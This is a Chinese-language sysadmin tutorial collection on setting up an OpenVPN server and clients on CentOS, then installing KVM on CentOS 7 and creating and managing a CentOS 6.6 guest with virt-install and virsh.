OpenVPN for CentOS

服务器端配置

1、安装openvpn

首先安装依赖库

# yum install -y openssl openssl-devel lzo lzo-devel pam pam-devel automake pkgconfig

我们这边用yum安装,当然你也可以自己编译安装(从这个页面下载:http://openvpn.net/index.php/download.html)。

# yum install openvpn

2、配置服务器

2.1初始化服务端

# cp /usr/share/doc/openvpn-2.3.1/sample/sample-config-files/server.conf /etc/openvpn/

注:2.3版本需要独立下载个easy-rsa,该包用来制作ca证书,服务端证书,客户端证书,openvpn2.3.0该版本源码不包含easy-rsa,所以需要单独下载安装用来配合openvpn实现证书生成。

# wget -c https://github.com/OpenVPN/easy-rsa/archive/master.zip
# unzip master
# mv easy-rsa-master easy-rsa
# cp -rf  easy-rsa /etc/openvpn

2.2配置PKI

# cd /etc/openvpn/easy-rsa/easy-rsa/2.0
# vim vars
找到”export KEY_SIZE=”这行,根据情况把1024改成2048或者4096
再定位到最后面,会看到类似下面这样的
export KEY_COUNTRY=”US”
export KEY_PROVINCE=”CA”
export KEY_CITY=”SanFrancisco”
export KEY_ORG=”Fort-Funston”
export KEY_EMAIL=”me@myhost.mydomain
这个自己根据情况改一下,不改也可以运行。其实不改vars这个文件,vpn也可以跑起来。
例如:
export KEY_COUNTRY=”CN”
export KEY_PROVINCE=”SH”
export KEY_CITY=”Shanghai”
export KEY_ORG=”xxx”
export KEY_EMAIL=”xxx@xxx.cn
注:在后面生成服务端ca证书时,这里的配置会作为缺省配置

做SSL配置文件软链:

# ln -s openssl-1.0.0.cnf openssl.cnf

修改vars文件可执行并调用

# chmod +x vars

3、产生证书

3.1、产生CA证书

# source ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/easy-rsa/2.0/keys
注:也就是如果执行./clean-all,就会清空/etc/openvpn/easy-rsa/easy-rsa/2.0/keys下所有文件

开始配置证书:

  • 清空原有证书
# ./clean-all

注:下面这个命令在第一次安装时可以运行,以后在添加完客户端后慎用,因为这个命令会清除所有已经生成的证书密钥,和上面的提示对应

  • 生成服务器端ca证书
# ./build-ca

注:由于之前做过缺省配置,这里一路回车即可

3.2、产生服务器证书

# ./build-key-server openvpn.example.com

生成服务器端密钥证书, 后面这个openvpn.example.com就是服务器名,也可以自定义,可以随便起,但要记住,后面要用到。

3.3、生成DH验证文件

# ./build-dh

生成diffie hellman参数,用于增强openvpn安全性(生成需要漫长等待),让服务器飞一会。

3.4、生成客户端证书

# ./build-key client1
# ./build-key client2
(名字任意,建议写成你要发给的人的姓名,方便管理)
注:这里与生成服务端证书配置类似,中间一步提示输入服务端密码,其他按照缺省提示一路回车即可。

3.5、编辑服务配置文件

# vim /etc/openvpn/server.conf
注:可按照默认模板配置,本例为自定义配置文件:
# 设置监听IP,默认是监听所有IP
;local a.b.c.d

# 设置监听端口,必须要对应的在防火墙里面打开
port 1194

# 设置用TCP还是UDP协议?
;proto tcp
proto tcp

# 设置创建tun的路由IP通道,还是创建tap的以太网通道路由IP容易控制,所以推荐使用它;
# 但如果如IPX等必须使用第二层才能通过的通讯,则可以用tap方式,tap也就是以太网桥接
;dev tap
dev tun

# 这里是重点,必须指定SSL/TLS root certificate (ca),
# certificate(cert), and private key (key)
# ca文件是服务端和客户端都必须使用的,但不需要ca.key
# 服务端和客户端指定各自的.crt和.key
# 请注意路径,可以使用以配置文件开始为根的相对路径,
# 也可以使用绝对路径
# 请小心存放.key密钥文件
ca /etc/openvpn/easy-rsa/easy-rsa/2.0/keys/ca.crt
cert /etc/openvpn/easy-rsa/easy-rsa/2.0/keys/openvpn.example.com.crt
key /etc/openvpn/easy-rsa/easy-rsa/2.0/keys/openvpn.example.com.key # This file should be kept secret

# 指定Diffie hellman parameters.
dh /etc/openvpn/easy-rsa/easy-rsa/2.0/keys/dh2048.pem

# 配置VPN使用的网段,OpenVPN会自动提供基于该网段的DHCP服务,但不能和任何一方的局域网段重复,保证唯一
server 10.8.0.0 255.255.255.0

# 维持一个客户端和virtual IP的对应表,以方便客户端重新连接可以获得同样的IP
ifconfig-pool-persist ipp.txt

# 为客户端创建对应的路由,以另其通达公司网内部服务器
# 但记住,公司网内部服务器也需要有可用路由返回到客户端
;push "route 192.168.20.0 255.255.255.0"
push "route 10.6.0.0 255.255.0.0"

# 若客户端希望所有的流量都通过VPN传输,则可以使用该语句
# 其会自动改变客户端的网关为VPN服务器,推荐关闭
# 一旦设置,请小心服务端的DHCP设置问题
;push "redirect-gateway"

# 用OpenVPN的DHCP功能为客户端提供指定的DNS、WINS等
;push "dhcp-option DNS 10.8.0.1"
;push "dhcp-option WINS 10.8.0.1"

# 默认客户端之间是不能直接通讯的,除非把下面的语句注释掉
client-to-client

# 下面是一些对安全性增强的措施
# For extra security beyond that provided by SSL/TLS, create an "HMAC firewall"
# to help block DoS attacks and UDP port flooding.
#
# Generate with:
# openvpn --genkey --secret ta.key
#
# The server and each client must have a copy of this key.
# The second parameter should be 0 on the server and 1 on the clients.
tls-auth ta.key 0 # This file is secret

# 使用lzo压缩的通讯,服务端和客户端都必须配置
comp-lzo

# 输出短日志,每分钟刷新一次,以显示当前的客户端
status /var/log/openvpn/openvpn-status.log

# 缺省日志会记录在系统日志中,但也可以导向到其他地方
# 建议调试的使用先不要设置,调试完成后再定义
log         /var/log/openvpn/openvpn.log
log-append  /var/log/openvpn/openvpn.log

# 设置日志的级别
#
# 0 is silent, except for fatal errors
# 4 is reasonable for general usage
# 5 and 6 can help to debug connection problems
# 9 is extremely verbose
verb 3

创建日志目录:

# mkdir -p /var/log/openvpn/

4、启动服务

# service openvpn start

或者

# /etc/init.d/openvpn start
如果遭遇启动失败的情况,可以在配置文件中加上一行log-append openvpn.log
再尝试启动,然后到/var/log/openvpn/检查openvpn.log文件来查看错误发生原因。
最后执行
# chkconfig openvpn on
将openvpn加入启动项
设置外网访问
# vim /etc/sysctl.conf
找到net.ipv4.ip_forward = 0
把0改成1
# sysctl -p

设置iptables(这一条至关重要,通过配置nat将vpn网段IP转发到server内网)

# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

设置openvpn端口通过:

# iptables -A INPUT -p TCP --dport 1194 -j ACCEPT
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
重启iptables:
注:这里提一下,INPUT策略是执行后即时生效的,POSTROUTING需要保存并重启服务才能生效
# service iptables save
# service iptables restart

配置iptables开机启动

# chkconfig iptables on

5、开通防火墙端口

注:可以参考这个帮助文档:http://docs.ucloud.cn/upd-docs/unetwork/common.html#id1
在后台,“防火墙管理”,选中您主机应用的防火墙,点击编辑。
../../_images/o4c.5.01.png
点击“添加规则”,增加如下TCP 1194,然后“应用规则”。
../../_images/o4c.5.02.png

客户端配置

将服务器端生成的key(ca.crt,client.crt,client.key,ta.key)下载到本地。

进入客户端OpenVPN目录,将sample-config下的client.ovpn文件复制到config目录,
client端做相应的修改:
remote xxx.xxx.xxx.xxx 1194
proto tcp
dev tun
ca ca.crt
cert xxx.crt
key xxx.key
tls-auth ta.key 1
comp-lzo
user nobody
group nobody
persist-key
persist-tun

Windows客户端

将key和新建的client.ovpn放到C:/Program Files/OpenVPN/config目录下,到桌面双击openvpn图标即可。

Mac客户端

1.打开Tunnelblick
2.点击左下角+
3.我有设置文件
4.OpenVPN设置
5.打开私人设置文件夹
6.将key和新建的client.ovpn放到此目录下

Linux客户端

# yum install openvpn
# openvpn --daemon --config client.ovpn

CentOS7管理KVM虚拟机

系统:CentOS7 64位

[root@e3 ~]# cat /etc/redhat-release 
CentOS Linux release 7.0.1406 (Core)

安装KVM

IBM对kvm的介绍https://www.ibm.com/search/csass/search/?q=kvm&sn=dw&lang=zh&cc=CN&en=utf&hpp=20&dws=cndw&lo=zh

 yum install qemu-kvm libvirt virt-install bridge-utils
  lsmod |grep kvm
kvm_intel             138567  0 
kvm                   441119  1 kvm_intel
[root@e3 ~]#systemctl start libvirtd #启动  libvirtd
[root@e3 ~]# systemctl enable libvirtd #开机自启动

libvirtd详解看这位博友的文章http://blog.csdn.net/gaoxingnengjisuan/article/details/9674315

配置KVM虚拟机桥接网络

[root@e3 ~]# nmcli c add type bridge autoconnect yes con-name br0 ifname br0  #添加虚拟桥接网卡br0
[root@e3 ~]# nmcli c modify br0 ipv4.addresses "192.168.0.244/24 192.168.0.1" ipv4.method manual #设置虚拟网卡ip和网关
[root@e3 ~]# nmcli c modify br0 ipv4.dns 192.168.0.1 #设置DNS 192.168.0.1
[root@e3 ~]# nmcli c delete enp3s0 #删除当前网络配置  enp3s0 是我的网路标示,在CentOS 6是eth0
[root@e3 ~]# nmcli c add type bridge-slave autoconnect yes con-name enp3s0 ifname enp3s0 master br0 #添加br0接口
[root@e3 ~]#  systemctl stop NetworkManager; systemctl start NetworkManager #停止网络和启动网络
##nmcli是一个网络管理工具
[root@e3 ~]# which nmcli 
/usr/bin/nmcli
[root@e3 ~]# rpm -qf /usr/bin/nmcli 
NetworkManager-0.9.9.1-29.git20140326.4dba720.el7_0.x86_64
#ip addr
[root@e3 ~]# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP qlen 1000
    link/ether e0:3f:49:13:0a:7e brd ff:ff:ff:ff:ff:ff
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 56:84:7a:fe:97:99 brd ff:ff:ff:ff:ff:ff
    inet 172.17.42.1/16 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::5484:7aff:fefe:9799/64 scope link 
       valid_lft forever preferred_lft forever
5: vethde86ccb: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master docker0 state UP qlen 1000
    link/ether ca:ba:76:4e:c1:92 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::c8ba:76ff:fe4e:c192/64 scope link 
       valid_lft forever preferred_lft forever
6: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether e0:3f:49:13:0a:7e brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.244/24 brd 192.168.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::e23f:49ff:fe13:a7e/64 scope link 
       valid_lft forever preferred_lft forever

OK至此kvm安装完毕下来看看如何安装第一台guset虚拟机

构建安装源,

[root@e3 ~]# yum install vsftpd #安装ftp
[root@e3 ~]# systemctl start vsftpd #启动ftp
 [root@e3 ~]# systemctl enable vsftpd  #开机自启动
[root@e3 tmp]#wget http://mirrors.sohu.com/centos/6/isos/x86_64/CentOS-6.6-x86_64-minimal.iso  #下载Centos6.6 MINI安装盘
[root@e3 tmp]# mkdir /mnt/cdrom/
[root@e3 tmp]# mount CentOS-6.6-x86_64-minimal.iso /mnt/cdrom/ #挂载
[root@e3 tmp]# cp -r /mnt/cdrom /var/ftp/ 
[root@e3 tmp]# cd /root/centos/cdrom/
[root@e3 cdrom]# vim .treeinfo
#修改如下
[general]
family = CentOS
timestamp = 1414159790.06
variant =
totaldiscs = 1
version = 6.6
discnum = 1
packagedir =
arch = x86_64

[images-x86_64]
kernel = isolinux/vmlinuz  ##主要是修改这
initrd = isolinux/initrd.img ##主要修改这

[images-xen]

initrd = images/pxeboot/initrd.img

[stage2]
mainimage = images/install.img

#完了保存的时候强制保存 :wq!
然后重启你的vftpd。
测试:看能不能访问

下来创建guset虚拟机

使用virt-install创建虚拟机并安装GuestOS

virt-install是一个命令行工具,它能够为KVM、Xen或其它支持libvrit API的hypervisor创建虚拟机并完成GuestOS安装;此外,它能够基于串行控制台、VNC或SDL支持文本或图形安装界面。安装过程可以使用本地的安装介质如CDROM,也可以通过网络方式如NFS、HTTP或FTP服务实现。对于通过网络安装的方式,virt-install可以自动加载必要的文件以启动安装过程而无须额外提供引导工具。当然,virt-install也支持PXE方式的安装过程,也能够直接使用现有的磁盘映像直接启动安装过程。
virt-install命令有许多选项,这些选项大体可分为下面几大类,同时对每类中的常用选项也做出简单说明。
◇    一般选项:指定虚拟机的名称、内存大小、VCPU个数及特性等;
    -n NAME, –name=NAME:虚拟机名称,需全局惟一;
    -r MEMORY, –ram=MEMORY:虚拟机内在大小,单位为MB;
    –vcpus=VCPUS[,maxvcpus=MAX][,sockets=#][,cores=#][,threads=#]:VCPU个数及相关配置;
    –cpu=CPU:CPU模式及特性,如coreduo等;可以使用qemu-kvm -cpu ?来获取支持的CPU模式;
◇    安装方法:指定安装方法、GuestOS类型等;
    -c CDROM, –cdrom=CDROM:光盘安装介质;
    -l LOCATION, –location=LOCATION:安装源URL,支持FTP、HTTP及NFS等,如ftp://172.16.0.1/pub;
    –pxe:基于PXE完成安装;
    –livecd: 把光盘当作LiveCD;
    –os-type=DISTRO_TYPE:操作系统类型,如linux、unix或windows等;
    –os-variant=DISTRO_VARIANT:某类型操作系统的变体,如rhel5、fedora8等;
    -x EXTRA, –extra-args=EXTRA:根据–location指定的方式安装GuestOS时,用于传递给内核的额外选项,例如指定kickstart文件的位置,–extra-args “ks=http://172.16.0.1/class.cfg”
    –boot=BOOTOPTS:指定安装过程完成后的配置选项,如指定引导设备次序、使用指定的而非安装的kernel/initrd来引导系统启动等 ;例如:
    –boot  cdrom,hd,network:指定引导次序;
    –boot kernel=KERNEL,initrd=INITRD,kernel_args=”console=/dev/ttyS0”:指定启动系统的内核及initrd文件;
◇    存储配置:指定存储类型、位置及属性等;
    –disk=DISKOPTS:指定存储设备及其属性;格式为–disk /some/storage/path,opt1=val1,opt2=val2等;常用的选项有:
    device:设备类型,如cdrom、disk或floppy等,默认为disk;
    bus:磁盘总结类型,其值可以为ide、scsi、usb、virtio或xen;
    perms:访问权限,如rw、ro或sh(共享的可读写),默认为rw;
    size:新建磁盘映像的大小,单位为GB;
    cache:缓存模型,其值有none、writethrouth(缓存读)及writeback(缓存读写);
    format:磁盘映像格式,如raw、qcow2、vmdk等;
    sparse:磁盘映像使用稀疏格式,即不立即分配指定大小的空间;
    –nodisks:不使用本地磁盘,在LiveCD模式中常用;
◇    网络配置:指定网络接口的网络类型及接口属性如MAC地址、驱动模式等;
    -w NETWORK, –network=NETWORK,opt1=val1,opt2=val2:将虚拟机连入宿主机的网络中,其中NETWORK可以为:
    bridge=BRIDGE:连接至名为“BRIDEG”的桥设备;
    network=NAME:连接至名为“NAME”的网络;
其它常用的选项还有:
    model:GuestOS中看到的网络设备型号,如e1000、rtl8139或virtio等;
    mac:固定的MAC地址;省略此选项时将使用随机地址,但无论何种方式,对于KVM来说,其前三段必须为52:54:00;
    –nonetworks:虚拟机不使用网络功能;
◇    图形配置:定义虚拟机显示功能相关的配置,如VNC相关配置;
    –graphics TYPE,opt1=val1,opt2=val2:指定图形显示相关的配置,此选项不会配置任何显示硬件(如显卡),而是仅指定虚拟机启动后对其进行访问的接口;
    TYPE:指定显示类型,可以为vnc、sdl、spice或none等,默认为vnc;
    port:TYPE为vnc或spice时其监听的端口;
    listen:TYPE为vnc或spice时所监听的IP地址,默认为127.0.0.1,可以通过修改/etc/libvirt/qemu.conf定义新的默认值;
    password:TYPE为vnc或spice时,为远程访问监听的服务进指定认证密码;
    –noautoconsole:禁止自动连接至虚拟机的控制台;
◇    设备选项:指定文本控制台、声音设备、串行接口、并行接口、显示接口等;
    –serial=CHAROPTS:附加一个串行设备至当前虚拟机,根据设备类型的不同,可以使用不同的选项,格式为“–serial type,opt1=val1,opt2=val2,…”,例如:
    –serial pty:创建伪终端;
    –serial dev,path=HOSTPATH:附加主机设备至此虚拟机;
    –video=VIDEO:指定显卡设备模型,可用取值为cirrus、vga、qxl或vmvga;

◇    虚拟化平台:虚拟化模型(hvm或paravirt)、模拟的CPU平台类型、模拟的主机类型、hypervisor类型(如kvm、xen或qemu等)以及当前虚拟机的UUID等;
    -v, –hvm:当物理机同时支持完全虚拟化和半虚拟化时,指定使用完全虚拟化;
    -p, –paravirt:指定使用半虚拟化;
    –virt-type:使用的hypervisor,如kvm、qemu、xen等;所有可用值可以使用’virsh capabilities’命令获取;
◇    其它:
    –autostart:指定虚拟机是否在物理启动后自动启动;
    –print-xml:如果虚拟机不需要安装过程(–import、–boot),则显示生成的XML而不是创建此虚拟机;默认情况下,此选项仍会创建磁盘映像;
    –force:禁止命令进入交互式模式,如果有需要回答yes或no选项,则自动回答为yes;
    –dry-run:执行创建虚拟机的整个过程,但不真正创建虚拟机、改变主机上的设备配置信息及将其创建的需求通知给libvirt;
    -d, –debug:显示debug信息;

[root@e3 cdrom]#  virt-install \
> --name centos6.6 \ #指定虚拟机名字
> --ram 512 \  #分配虚拟机的内存大小
> --disk path=/data/kvm/images/centos6.6.img,size=20 \ #虚拟机硬盘安装路径
> --vcpus 2 \  #CPU个数
> --os-type linux \ #操作系统类型
> --os-variant rhel6 \ #虚拟机操作系统的变种,当前CENTOS是redhat的所以。
> --network bridge=br0 \ #网络配置
> --graphics none \  #不使用图形界面
> --console pty,target_type=serial \ #配置接口
> --location 'ftp://192.168.0.244/cdrom/' \  #指定安装源
>  --extra-args 'console=ttyS0,115200n8 serial'  #额外传的参数
#回车
开始安装......
搜索文件 .treeinfo......                                                                                                                                                                  |  590 B  00:00:00 !!! 
搜索文件 vmlinuz......                                                                                                                                                                    | 7.9 MB  00:00:00 !!! 
搜索文件 initrd.img......                                                                                                                                                                 |  66 MB  00:00:00 !!! 
创建存储文件 centos6.6.img                                                                                                                                                              |  20 GB  00:00:00     
创建域......                                                                                                                                                                               |    0 B  00:00:00     
连接到域 centos6.6
换码符为 ^]

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 2.6.32-504.el6.x86_64 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-11) (GCC) ) #1 SMP Wed Oct 15 04:27:16 UTC 2014
Command line: method=ftp://192.168.0.244/cdrom/ console=ttyS0,115200n8 serial
KERNEL supported cpus:
  Intel GenuineIntel
  AMD AuthenticAMD
  Centaur CentaurHauls
BIOS-provided physical RAM map:
 BIOS-e820: 0000000000000000 - 000000000009fc00 (usable)
 BIOS-e820: 000000000009fc00 - 00000000000a0000 (reserved)
......省略。
###############
Welcome to CentOS for x86_64

                    ┌────────┤ Choose a Language ├────────┐
                    │                                     │
                    │ What language would you like to use │
                    │ during the installation process?    │
                    │                                     │
                    │      Catalan                ↑       │
                    │      Chinese(Simplified)    ▒       │
                    │      Chinese(Traditional)   ▮       │
                    │      Croatian               ▒       │
                    │      Czech                  ▒       │
                    │      Danish                 ▒       │
                    │      Dutch                  ▒       │
                    │      English                ↓       │
                    │                                     │
                    │               ┌────┐                │
                    │               │ OK │                │
                    │               └────┘                │
                    │                                     │
                    │                                     │
                    └─────────────────────────────────────┘
#用tab键选择语言
Welcome to CentOS for x86_64

                                                                                
                 ┌────────────┤ Configure TCP/IP ├────────────┐                 
                 │                                            │                 
                 │ [*] Enable IPv4 support                    │                 
                 │        (*) Dynamic IP configuration (DHCP) │                 
                 │        ( ) Manual configuration            │                 
                 │                                            │                 
                 │ [*] Enable IPv6 support                    │                 
                 │        (*) Automatic                       │                 
                 │        ( ) Automatic, DHCP only            │                 
                 │        ( ) Manual configuration            │                 
                 │                                            │                 
                 │        ┌────┐              ┌──────┐        │                 
                 │        │ OK │              │ Back │        │                 
                 │        └────┘              └──────┘        │                 
                 │                                            │                 
                 │                                            │                 
                 └────────────────────────────────────────────┘       
#激活ipv4,局域网有dhcp就下一步取消ipv6,没有手动写个ip跟你ftp server 在同一网关即可
Welcome to CentOS for x86_64

                                                                                
       ┌────────────────┤ Manual TCP/IP Configuration ├─────────────────┐       
       │                                                                │       
       │ Enter the IPv4 and/or the IPv6 address and prefix (address /   │       
       │ prefix).  For IPv4, the dotted-quad netmask or the CIDR-style  │       
       │ prefix are acceptable. The gateway and name server fields must │       
       │ be valid IPv4 or IPv6 addresses.                               │       
       │                                                                │       
       │ IPv4 address: 192.168.0.13____ / 24______________              │       
       │ Gateway:      192.168.0.1______________________________        │       
       │ Name Server:  _________________________________________        │       
       │                                                                │       
       │             ┌────┐                        ┌──────┐             │       
       │             │ OK │                        │ Back │             │       
       │             └────┘                        └──────┘             │       
       │                                                                │       
       │                                                                │       
       └────────────────────────────────────────────────────────────────┘       
#用tab键切换到OK上然后会提示保存网卡信息OK即可下一步
 Welcome to CentOS for x86_64





               ┌──────────────────┤ CentOS ├───────────────────┐
               │                                               │
               │ Welcome to CentOS!                            │
               │                                               │
               │                                               │
               │                    ┌────┐                     │
               │                    │ OK │                     │
               │                    └────┘                     │
               │                                               │
               │                                               │
               └───────────────────────────────────────────────┘

#OK
Welcome to CentOS for x86_64
 ┌────────────────────────────────┤ Warning ├─────────────────────────────────┐ 
 │                                                                            │ 
 │         Error processing drive:                                 ↑          │ 
 │                                                                 ▮          │ 
 │         pci-0000:00:04.0-virtio-pci-virtio1                     ▒          │ 
 │         20480MB                                                 ▒          │ 
 │         Virtio Block Device                                     ▒          │ 
 │                                                                 ▒          │ 
 │         This device may need to be reinitialized.               ▒          │ 
 │                                                                 ▒          │ 
 │         REINITIALIZING WILL CAUSE ALL DATA TO BE LOST!          ▒          │ 
 │                                                                 ▒          │ 
 │         This action may also be applied to all other disks      ▒          │ 
 │         needing reinitialization.                               ↓          │ 
 │                                                                            │ 
 │  ┌────────┐   ┌────────────┐   ┌───────────────┐   ┌───────────────────┐   │ 
 │  │ Ignore │   │ Ignore all │   │ Re-initialize │   │ Re-initialize all │   │ 
 │  └────────┘   └────────────┘   └───────────────┘   └───────────────────┘   │ 
 │                                                                            │ 
 │                                                                            │ 
#选择初始化所有Re-initialize all 
Welcome to CentOS for x86_64
                                                                                
                                                                                
                    ┌───────┤ Time Zone Selection ├───────┐                     
                    │                                     │                     
                    │ In which time zone are you located? │                     
                    │                                     │                     
                    │ [*] System clock uses UTC           │                     
                    │                                     │                     
                    │  America/Monterrey               ↑  │                     
                    │  America/Montevideo              ▮  │                     
                    │  America/Montserrat              ▒  │                     
                    │  America/Nassau                  ▒  │                     
                    │  America/New York                ↓  │                     
                    │                                     │                     
                    │      ┌────┐          ┌──────┐       │                     
                    │      │ OK │          │ Back │       │                     
                    │      └────┘          └──────┘       │                     
                    │                                     │                     
                    │                                     │                     
                    └─────────────────────────────────────┘          
#选择时区Asia/上海
Welcome to CentOS for x86_64
                                                                                
                                                                                
                                                                                
                ┌──────────────┤ Root Password ├───────────────┐                
                │                                              │                
                │    Pick a root password. You must type it    │                
                │    twice to ensure you know it and do not    │                
                │    make a typing mistake.                    │                
                │                                              │                
                │ Password:           ________________________ │                
                │ Password (confirm): ________________________ │                
                │                                              │                
                │        ┌────┐               ┌──────┐         │                
                │        │ OK │               │ Back │         │                
                │        └────┘               └──────┘         │                
                │                                              │                
                │                                              │                
                └──────────────────────────────────────────────┘                
#设置root密码
Welcome to CentOS for x86_64
                                                                                
       ┌─────────────────────┤ Partitioning Type ├─────────────────────┐        
       │                                                               │        
       │ Installation requires partitioning of your hard drive.  The   │        
       │ default layout is suitable for most users.  Select what space │        
       │ to use and which drives to use as the install target.         │        
       │                                                               │        
       │                 Use entire drive                              │        
       │                 Replace existing Linux system                 │        
       │                 Use free space                                │        
       │                                                               │        
       │   Which drive(s) do you want to use for this installation?    │        
       │        [*]    vda    20480 MB (Virtio Block Device) ↑         │        
       │                                                     ▮         │        
       │                                                               │        
       │                      ┌────┐   ┌──────┐                        │        
       │                      │ OK │   │ Back │                        │        
       │                      └────┘   └──────┘                        │        
       │                                                               │        
       │                                                               │        
       └───────────────────────────────────────────────────────────────┘        

<Space>,<+>,<-> selection   |   <F2> Add drive   |   <F12> next screen  
#分区
Welcome to CentOS for x86_64
                                                                                
                                                                                
                                                                                
                                                                                
                                                                                
     ┌─────────────┤ Writing storage configuration to disk ├──────────────┐     
     │                                                                    │     
     │ The partitioning options you have selected will now be written to  │     
     │ disk.  Any data on deleted or reformatted partitions will be lost. │     
     │                                                                    │     
     │        ┌─────────┐               ┌───────────────────────┐         │     
     │        │ Go back │               │ Write changes to disk │         │     
     │        └─────────┘               └───────────────────────┘         │     
     │                                                                    │     
     │                                                                    │     
     └────────────────────────────────────────────────────────────────────┘     
#写入保存磁盘。
Welcome to CentOS for x86_64
                                                                                
                                                                                
                                                                                
                                                                                
     ┌─────────────────────┤ Package Installation ├──────────────────────┐      
     │                                                                   │      
     │                                                                   │      
     │                                71%                                │      
     │                                                                   │      
     │                  Packages completed: 180 of 205                   │      
     │                                                                   │      
     │ Installing kernel-2.6.32-504.el6.x86_64 (123 MB)                  │      
     │ The Linux kernel                                                  │      
     │                                                                   │      
     │                                                                   │      
     │                                                                   │      
     └───────────────────────────────────────────────────────────────────┘      
                                                                                
                                                                                
  <Tab>/<Alt-Tab> between elements   |  <Space> selects   |  <F12> next screen 

#然后初始化,格式化硬盘自动等待安装完毕 
Welcome to CentOS for x86_64
                                                                                
                                                                                
                                                                                
                                                                                
     ┌───────────────────────────┤ Complete ├────────────────────────────┐      
     │                                                                   │      
     │ Congratulations, your CentOS installation is complete.            │      
     │                                                                   │      
     │ Please reboot to use the installed system.  Note that updates may │      
     │ be available to ensure the proper functioning of your system and  │      
     │ installation of these updates is recommended after the reboot.    │      
     │                                                                   │      
     │                            ┌────────┐                             │      
     │                            │ Reboot │                             │      
     │                            └────────┘                             │      
     │                                                                   │      
     │                                                                   │      
     └───────────────────────────────────────────────────────────────────┘ 
 #重启即可进入创建的虚拟机                                                                               
#因为是mimi关盘安装很快的                                                                           
     CentOS release 6.6 (Final)
Kernel 2.6.32-504.el6.x86_64 on an x86_64

localhost.localdomain login: 
                                                                    
#OK,输入用户名和密码即可
[root@localhost ~]# ifconfig 
eth0      Link encap:Ethernet  HWaddr 52:54:00:4F:7D:82  
          inet addr:192.168.0.13  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::5054:ff:fe4f:7d82/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:206 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:22155 (21.6 KiB)  TX bytes:546 (546.0 b)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:340 (340.0 b)  TX bytes:340 (340.0 b)

[root@localhost ~]# 
#

这里有一篇virt-install 的中文翻译http://blog.csdn.net/starshine/article/details/6998189

#按Ctrl+]从虚拟机里切换到物理机
[root@e3 cdrom]# virsh list  #列出已经安装的虚拟机
 Id    名称                         状态
----------------------------------------------------
 11    centos6.5                      running
 13    centos6.6                      running

[root@e3 cdrom]# virsh console centos6.6  #从物理机连接虚拟机
连接到域 centos6.6
换码符为 ^]


[root@localhost ~]#
[root@e3 ~]# virsh autostart centos6.5 #自动启动
域 centos6.5标记为自动开始

[root@e3 ~]# virsh autostart centos6.6 #自动启动
域 centos6.6标记为自动开始
#
[root@e3 images]# cd /etc/libvirt/
[root@e3 libvirt]# ls
libvirt.conf  libvirtd.conf  lxc.conf  nwfilter  qemu  qemu.conf  qemu-lockd.conf  storage  virtlockd.conf
[root@e3 libvirt]# cd qemu/
[root@e3 qemu]# ls
autostart  centos6.5.xml  centos6.6.xml  kvm001.xml  kvm002.xml  networks  template.xml
[root@e3 qemu]# cd autostart/
[root@e3 autostart]# ll
总用量 0
lrwxrwxrwx. 1 root root 31 1月  20 14:18 centos6.5.xml -> /etc/libvirt/qemu/centos6.5.xml  #开机自启动的文件都会在安装目录里创建一个autostart目录,并设置软连接
lrwxrwxrwx. 1 root root 31 1月  20 14:19 centos6.6.xml -> /etc/libvirt/qemu/centos6.6.xml

[root@e3 ~]# 

[root@e3 ~]# virsh autostart --disable centos6.6 #取消自动启动
域 centos6.6取消标记为自动开始
#关闭一台虚拟机
[root@e3 images]# virsh list --all #列出所有启动没启动的虚拟机
 Id    名称                         状态
----------------------------------------------------
 23    centos6.5                      running
 29    centos6.6                      running
 -     kvm001                         关闭
 -     kvm002                         关闭
 -     template                       关闭

[root@e3 images]# virsh shutdown centos6.6 #关闭一台centos6.6
域 centos6.6 被关闭

好像关不了#默认virsh不能关闭虚拟机需要安装acpid

[root@e3 images]# yum install acpid
[root@e3 images]# systemctl start acpid.service 
[root@e3 images]# systemctl enable acpid.service
#在关闭试试

virsh管理虚拟机工具请看博友http://my.oschina.net/guol/blog/62253

CentOS7 KVM虚拟化应用

前言

看过网上的很多安装教程,基本都是一条命令安装后,便直接创建虚拟机。其实有很多的坑要么是不能创建,要么就是各种失败。所以,在这里,我给出自己的完整笔记,尽量避免大家去跳坑。

1、安装

# yum -y install qemu-kvm libvirt virt-install bridge-utils 
2、配置
# vim /etc/libvirt/qemu.conf

# Some examples of valid values are:
#
# user = "qemu" # A user named "qemu"
# user = "+0" # Super user (uid=0)
# user = "100" # A user named "100" or a user with uid=100
#
user = "root"
 
# The group for QEMU processes run by the system instance. It can be
# specified in a similar way to user.
group = "root"
 
# Whether libvirt should dynamically change file ownership
# to match the configured user/group above. Defaults to 1.
# Set to 0 to disable file ownership changes.
dynamic_ownership = 0


重启服务
# systemctl restart libvirtd
2、加载kvm
# lsmod | grep kvm

